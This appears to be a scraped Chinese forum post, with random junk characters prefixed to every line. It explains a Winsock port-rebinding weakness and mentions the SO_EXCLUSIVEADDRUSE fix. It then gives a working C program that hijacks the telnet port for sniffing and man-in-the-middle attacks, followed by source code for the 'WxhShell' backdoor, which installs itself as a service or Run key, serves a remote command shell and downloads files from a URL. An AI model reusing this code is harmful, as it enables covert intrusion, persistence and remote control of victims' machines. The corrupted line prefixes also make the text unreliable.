在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
O5*uL{pvT{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A2bV[+ Q \>dG' saddr.sin_family = AF_INET;
kYa'
] m Y }d>%i+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L%s""nP &4iIzw` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
] CE2/6Ph 2g==98>cg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^Wz{su2 8+|L ph`/? 这意味着什么?意味着可以进行如下的攻击:
eajL[W^> Tj+WO6#V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(_<n0
? D'-{/<4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
R:<AR.)K @"2-tn@q_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e]fC!>w(\ Q:|E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(o=iX,@'2 50`r}s} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Vi-@z;k
svgi!= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6>%NL"* ] {,srj['RS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Bqj*{m Rznr9L #include
vM8]fSc #include
5?"ZM'4 #include
|u=57II#xK #include
XA%?35v~ DWORD WINAPI ClientThread(LPVOID lpParam);
$5O&[/L int main()
>8-
` {
pqX=l%{4ES WORD wVersionRequested;
p]HtJt|] DWORD ret;
7n.J.<+9 WSADATA wsaData;
c5u?\ BOOL val;
=p:6u_@XWj SOCKADDR_IN saddr;
Hu.d^@V SOCKADDR_IN scaddr;
=!aV?kNS8 int err;
o*VQH`G*|g SOCKET s;
4Qs#ws]) SOCKET sc;
d4tVK0
~ int caddsize;
J{I?t~u HANDLE mt;
p!
1zhD DWORD tid;
2Hj]QN7"
wVersionRequested = MAKEWORD( 2, 2 );
)VrHP9fu err = WSAStartup( wVersionRequested, &wsaData );
I115Rp0 if ( err != 0 ) {
*}=W wG printf("error!WSAStartup failed!\n");
+bU(-yRy5o return -1;
YTsn;3d]} }
V#Eq74ic saddr.sin_family = AF_INET;
5@\<:Zmi dfce/QOV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EY(4<;) NKN!X/P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ns{4BM6j saddr.sin_port = htons(23);
4BX*-t if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IFe[3mB5 {
,0O!w>u_]J printf("error!socket failed!\n");
lU3wIB return -1;
u5,<.#EVY }
JM0)x}]+ val = TRUE;
_Yv9u'q" //SO_REUSEADDR选项就是可以实现端口重绑定的
J<D =\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3@ SfCG&|e {
yuWrU<Kw printf("error!setsockopt failed!\n");
bK7DGw`1 return -1;
8cl!8gfv }
}z6HxB]$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+{&g|V //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
L[efiiLh$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p*G_$"KpP z> SCv;Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=Vfj#WL {
J2-xnUa]7 ret=GetLastError();
8vCHH&` printf("error!bind failed!\n");
:.^{! return -1;
-\vq-n }
uM$=v]e^4 listen(s,2);
AkF3F^ while(1)
*niQ*A {
Fc
Cxr@ caddsize = sizeof(scaddr);
1RLSeT //接受连接请求
BehV
:M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
lB3X1e9 if(sc!=INVALID_SOCKET)
D UeT {
&yuerNK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ZsE8eD if(mt==NULL)
7u; B[qH {
lsd\ `X5, printf("Thread Creat Failed!\n");
(s*}= break;
d)@MMF }
i*3_ivc) }
TD@'0MaQ# CloseHandle(mt);
/V^S)5r }
*)Y;`Yg$ closesocket(s);
q\\J9`Q$J WSACleanup();
mmi~A< return 0;
K)n( U9# }
"+Kr1nW DWORD WINAPI ClientThread(LPVOID lpParam)
+oc}kv,h] {
Wr;)3K
SOCKET ss = (SOCKET)lpParam;
H]-nm+ SOCKET sc;
_oWenF unsigned char buf[4096];
c?|/c9f SOCKADDR_IN saddr;
@<P[z[ long num;
$JOIK9+3z# DWORD val;
jWQB~XQY DWORD ret;
cI H`,bR //如果是隐藏端口应用的话,可以在此处加一些判断
m&2m' =( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!Lo{zTDW saddr.sin_family = AF_INET;
'(Pbz
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
XHV+Y+VG saddr.sin_port = htons(23);
1BF+sT3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0kDT:3 {
S5;q)qz2J printf("error!socket failed!\n");
db`<E
< return -1;
K_xn> }
CZ@M~Si_ val = 100;
8`+X6iZOQ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Sng V<J>zR {
0\/7[nwS ret = GetLastError();
/H)l\m
+ return -1;
3' ^ON }
u931^~Ci if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i''dY!2 {
R1U\ / ret = GetLastError();
iS{)Tll}& return -1;
1oC/W?l^ }
0-QkRr_I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Z|)~2[Roa {
b{sFN! printf("error!socket connect failed!\n");
q.*qZ\;K closesocket(sc);
\]^|IViIQ closesocket(ss);
,y^By_1wS return -1;
,5q^/h }
t
;[Me0 while(1)
RD~QNj9,T {
z*FlZLHY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ih{~?(V$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
2)G ZU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X;- ,3dy num = recv(ss,buf,4096,0);
a].Bn#AH!C if(num>0)
u*"tZ+|m send(sc,buf,num,0);
yfV{2[8ux else if(num==0)
gxJ(u{2 break;
UHXlBH@ num = recv(sc,buf,4096,0);
%o~zsIl if(num>0)
0DN:{dJz send(ss,buf,num,0);
3o/f#y else if(num==0)
uH`ds+Hp break;
aPWFb.JO4 }
@NO&3m] closesocket(ss);
7"M7N^ closesocket(sc);
}L@YLnc% return 0 ;
l_DPlY }
X!&=S!} ;DGp7f#9 <F&S ==========================================================
a"~W1|JC" rq$% 下边附上一个代码,,WXhSHELL
$UKDXQF" |>VHV} 4)< ==========================================================
h1,J<B@ L&l>?"_ #include "stdafx.h"
Vb/J` |GIT{_JE #include <stdio.h>
9~a_^m/ #include <string.h>
~]N%
{;F} #include <windows.h>
-O2QzzE& #include <winsock2.h>
yp8 .\. #include <winsvc.h>
cLamqZf3 #include <urlmon.h>
MECR0S9 aX0sy\Z]j #pragma comment (lib, "Ws2_32.lib")
^E>}A #pragma comment (lib, "urlmon.lib")
enZW2o97c h4sEH #define MAX_USER 100 // 最大客户端连接数
xU)~)eK #define BUF_SOCK 200 // sock buffer
qbB.Z#w #define KEY_BUFF 255 // 输入 buffer
>GqIpfn GJ!usv u #define REBOOT 0 // 重启
x<imMJ #define SHUTDOWN 1 // 关机
d+=;sJ i^j{l_-JE #define DEF_PORT 5000 // 监听端口
W&GDE x'}{^'}/ #define REG_LEN 16 // 注册表键长度
\,~gA
#define SVC_LEN 80 // NT服务名长度
0\u_\%[ ; <3w ,r // 从dll定义API
|U12fuQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!1|f,9C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6?2/b`k typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
UGl}=hwKkG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a]75z)XR wtMS<$ // wxhshell配置信息
NH4EsV] struct WSCFG {
J\#6U|a""u int ws_port; // 监听端口
l@##
Ex9 char ws_passstr[REG_LEN]; // 口令
!SVW}Q=5# int ws_autoins; // 安装标记, 1=yes 0=no
l~!#<=. char ws_regname[REG_LEN]; // 注册表键名
^fH]Rlx char ws_svcname[REG_LEN]; // 服务名
)TG\P,H9 char ws_svcdisp[SVC_LEN]; // 服务显示名
{d=y9Jb^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
%N>@( . char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_M{m6k(h int ws_downexe; // 下载执行标记, 1=yes 0=no
R(ay&f%E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
obUh+9K char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?zxKk(J k5W5 9tz };
uPb9j;Q? N/]TZu~k z // default Wxhshell configuration
RtK/bUa struct WSCFG wscfg={DEF_PORT,
VM|8HR7U "xuhuanlingzhe",
>[ywrB ?T 1,
c~@I1M "Wxhshell",
U.d*E/OR5 "Wxhshell",
fFMG9]* "WxhShell Service",
O`H[,+vm[ "Wrsky Windows CmdShell Service",
350 y6pVh "Please Input Your Password: ",
DtyT8kr 1,
h1J-AfV "
http://www.wrsky.com/wxhshell.exe",
.3oFSc`q "Wxhshell.exe"
jUdW o}/ };
&9IMZAo _/7[=e}y // 消息定义模块
tlG&PVvr char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;v#~o* char *msg_ws_prompt="\n\r? for help\n\r#>";
k:R9wo char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
LKztGfy char *msg_ws_ext="\n\rExit.";
Q-BciBh$ char *msg_ws_end="\n\rQuit.";
0G;RMR ':5 char *msg_ws_boot="\n\rReboot...";
ai#0ZgO char *msg_ws_poff="\n\rShutdown...";
^h=;]vxO char *msg_ws_down="\n\rSave to ";
65qH Kq{9:G char *msg_ws_err="\n\rErr!";
4TUe*F@
ML char *msg_ws_ok="\n\rOK!";
Z3"f7l6 7vgz=-
MZ# char ExeFile[MAX_PATH];
dEns|r int nUser = 0;
=OTwP HANDLE handles[MAX_USER];
}4\>q$8' int OsIsNt;
m &c8@-T Fpl<2eBg4 SERVICE_STATUS serviceStatus;
sLb[ZQ;j SERVICE_STATUS_HANDLE hServiceStatusHandle;
H#G'q_uHH PJ9JRG7j // 函数声明
n(-XI&Kn int Install(void);
z$H
|8L int Uninstall(void);
znX2W0V int DownloadFile(char *sURL, SOCKET wsh);
L<5go\!bV int Boot(int flag);
CQ6Z[hLWF void HideProc(void);
'0z@Jevd? int GetOsVer(void);
8M8=uw~# int Wxhshell(SOCKET wsl);
LR'F/.Dx void TalkWithClient(void *cs);
5=5~GX-kr int CmdShell(SOCKET sock);
/tx_I(6F?| int StartFromService(void);
xs+MvXTC int StartWxhshell(LPSTR lpCmdLine);
wQ@@|Cj4L 7J7uHl`yq` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`fc2vaSH = VOID WINAPI NTServiceHandler( DWORD fdwControl );
&`0heJ
5Yn !Vv$ // 数据结构和表定义
^=FtF9v SERVICE_TABLE_ENTRY DispatchTable[] =
[P,1UO|$B {
-0Y8/6]( {wscfg.ws_svcname, NTServiceMain},
{>>f5o3 {NULL, NULL}
]hN%~
~$> };
A1>R8Zuhy !SKEL6~7
// 自我安装
oF)+f4 int Install(void)
/ IAK'/ {
{ ~FYiX char svExeFile[MAX_PATH];
GS4!c8> HKEY key;
\KDOI 7 strcpy(svExeFile,ExeFile);
Z#nj[r!l} jW"C: {Ol; // 如果是win9x系统,修改注册表设为自启动
NA !;#! if(!OsIsNt) {
D 0\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jvCk+n[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UACWs3`s+ RegCloseKey(key);
/|P&{! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%)u5A!" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\c_1uDRoUn RegCloseKey(key);
ZSU;>&>%v return 0;
qbFzA
i }
_h M3p }
+Q8Bin }
rG}o!I`z else {
hA/K>Z sGc4^Z%l? // 如果是NT以上系统,安装为系统服务
n\ZDI+X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9=K=gfZ if (schSCManager!=0)
(]0ZxWF {
[#$z.BoEo SC_HANDLE schService = CreateService
&iId<.SiJ (
CXb)k.L schSCManager,
lpj$\WI= wscfg.ws_svcname,
%koHTWT+ wscfg.ws_svcdisp,
`` 6?;Y SERVICE_ALL_ACCESS,
C$b$)uI; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hd8:| _ SERVICE_AUTO_START,
+}J2\!Jw SERVICE_ERROR_NORMAL,
w-"o?;)a svExeFile,
%, XyhS5[o NULL,
[x'xbQLGd NULL,
vB#&XK.aW NULL,
Cn[`] NULL,
$
GL$
iA NULL
KaZ$!JfT );
5kofO if (schService!=0)
oost}%WxN {
Sz.jv#Y CloseServiceHandle(schService);
{ P&l` CloseServiceHandle(schSCManager);
LTm2B_+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
AN\: strcat(svExeFile,wscfg.ws_svcname);
'&xv)tno if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&zynfj#o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U(3{6^>Gc RegCloseKey(key);
XA-DJ return 0;
;SEH|_/ }
(sq4 }
N;9@-Tb CloseServiceHandle(schSCManager);
wh<+.Zp }
R]0awV1b }
e3yBB*@ w<lHY=z E return 1;
3BDAvdJ4. }
{r#2X1 EdhT;! // 自我卸载
)ZEUD] X int Uninstall(void)
tT ~}lW)Y {
[kDjht|$> HKEY key;
!=V>DgmW [ft#zxCJ if(!OsIsNt) {
,q] Wi# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S2HGf~rE RegDeleteValue(key,wscfg.ws_regname);
&s>HiL>f RegCloseKey(key);
1l"A7
V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zC\ pd# RegDeleteValue(key,wscfg.ws_regname);
k`F$aQV9` RegCloseKey(key);
Q?B5@J return 0;
)F,H(LblH }
jV;&*4if }
!i&^H, }
<iajtq<Z else {
[k ZvBd
6'3@/. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Qv,8tdx if (schSCManager!=0)
#(mm6dj {
s/ibj@h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D0Oh,Fe#M\ if (schService!=0)
co r?# {
> nDx)!I if(DeleteService(schService)!=0) {
U
N 1HBW; CloseServiceHandle(schService);
: |#Iw CloseServiceHandle(schSCManager);
q+>J'UGb return 0;
%=xR$<D }
o$FqMRep
CloseServiceHandle(schService);
UN>!#Ji:$ }
snT! 3t CloseServiceHandle(schSCManager);
X3NHQMI }
{w$1_GU }
7hqa| %3M(!X:[ return 1;
t,4q]Jt }
\Lv
eZ_h5 lpQsmd# // 从指定url下载文件
~+d?d6*c int DownloadFile(char *sURL, SOCKET wsh)
({ads_l {
XO~xbG7>gZ HRESULT hr;
g Q%'2m+ char seps[]= "/";
I2hX;pk, char *token;
"Sz pFw char *file;
()6)|A<^U char myURL[MAX_PATH];
+ |Z1U$0g char myFILE[MAX_PATH];
GJ edW ~'2)E/IeV strcpy(myURL,sURL);
:?2+'+%' token=strtok(myURL,seps);
n8DWA`[ib while(token!=NULL)
9JV(}v5[ {
rl qn39 file=token;
=/&ob%J)9] token=strtok(NULL,seps);
4#MvOjA5[ }
/Y_F"GQ TK<~(Dk GetCurrentDirectory(MAX_PATH,myFILE);
))^rk6 strcat(myFILE, "\\");
4J
Bm|Pf( strcat(myFILE, file);
F2WUG send(wsh,myFILE,strlen(myFILE),0);
)T/"QF}<T send(wsh,"...",3,0);
{y0#(8-& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
p:U9#(v) if(hr==S_OK)
=PWh,lWS return 0;
Z;M]^? else
!:PF |dZ return 1;
FVNxjMm, R|
[mp%Q }
Y[k%<f 4vq,W_n.hQ // 系统电源模块
xwhH_[ int Boot(int flag)
PLf {
p1
>
D HANDLE hToken;
rC
V&&09
TOKEN_PRIVILEGES tkp;
9oKRnc JG @bl if(OsIsNt) {
rT9<_< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
mE^mQ [Dk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6 "U&i9 tkp.PrivilegeCount = 1;
[h SE^
m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q]9H9?}N? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fz#e4+oH if(flag==REBOOT) {
R
h zf.kp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vU0j!XqE return 0;
OQ;'Xo }
Oaf!\z} else {
I9O!CQCTt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+O>!x#)&" return 0;
0l#gS; }
_\waA^ F }
-Zc
6_]F| else {
R L7OFfMe if(flag==REBOOT) {
%m$TV@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mJe;BU"y] return 0;
/{Ksi+q }
.q$HL t else {
*ci,;-*C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
w|!>>W6J return 0;
,6:ya8vB }
n=!]!'h\: }
flDe*F^ #D~atgR return 1;
>Vz Gx(7q }
<